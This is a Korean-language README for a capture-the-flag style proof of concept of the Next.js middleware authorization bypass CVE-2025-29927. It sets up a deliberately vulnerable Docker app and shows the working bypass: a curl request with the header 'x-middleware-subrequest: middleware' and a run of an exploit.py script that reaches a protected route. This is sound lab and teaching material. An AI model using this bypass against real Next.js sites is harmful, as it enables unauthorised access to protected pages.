
이는 Next.js 미들웨어 권한 부여 우회 취약점(CVE-2025-29927)에 대한 CTF(Capture The Flag) 스타일의 개념 증명(PoC)입니다. 목표는 인증 미들웨어를 우회하여 /protected 라우트에서 플래그를 획득하는 것입니다.
/protected/로 리디렉션됨git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker
sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app
이렇게 하면 취약한 Next.js 앱이 **http://IP:3000**에서 실행됩니다.
접근을 시도해 보십시오:
curl -i http://IP:3000/protected
/로 리디렉션됩니다.
curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected
제공된 exploit.py를 사용하여 미들웨어를 우회하고 보호된 라우트에 접근하십시오:
python3 exploit.py -url http://IP:3000
성공하면 /protected에서 플래그를 획득할 수 있습니다.
Dockerfile - 취약한 Next.js 애플리케이션을 빌드합니다exploit.py - 인증을 우회하기 위해 취약점을 익스플로잇합니다pages/ - 취약한 /protected 및 /login 라우트를 포함합니다middleware.js - 취약한 미들웨어 로직README.md - 이 파일이 PoC는 교육 및 연구 목적으로만 제공됩니다. 소유하지 않거나 테스트에 대한 명시적 권한이 없는 시스템에 사용하지 마십시오.
취약점을 익스플로잇하고 다음 주소에 접근하여 플래그를 찾으십시오:
http://IP:3000/protected
행운을 빕니다! 🏴☠️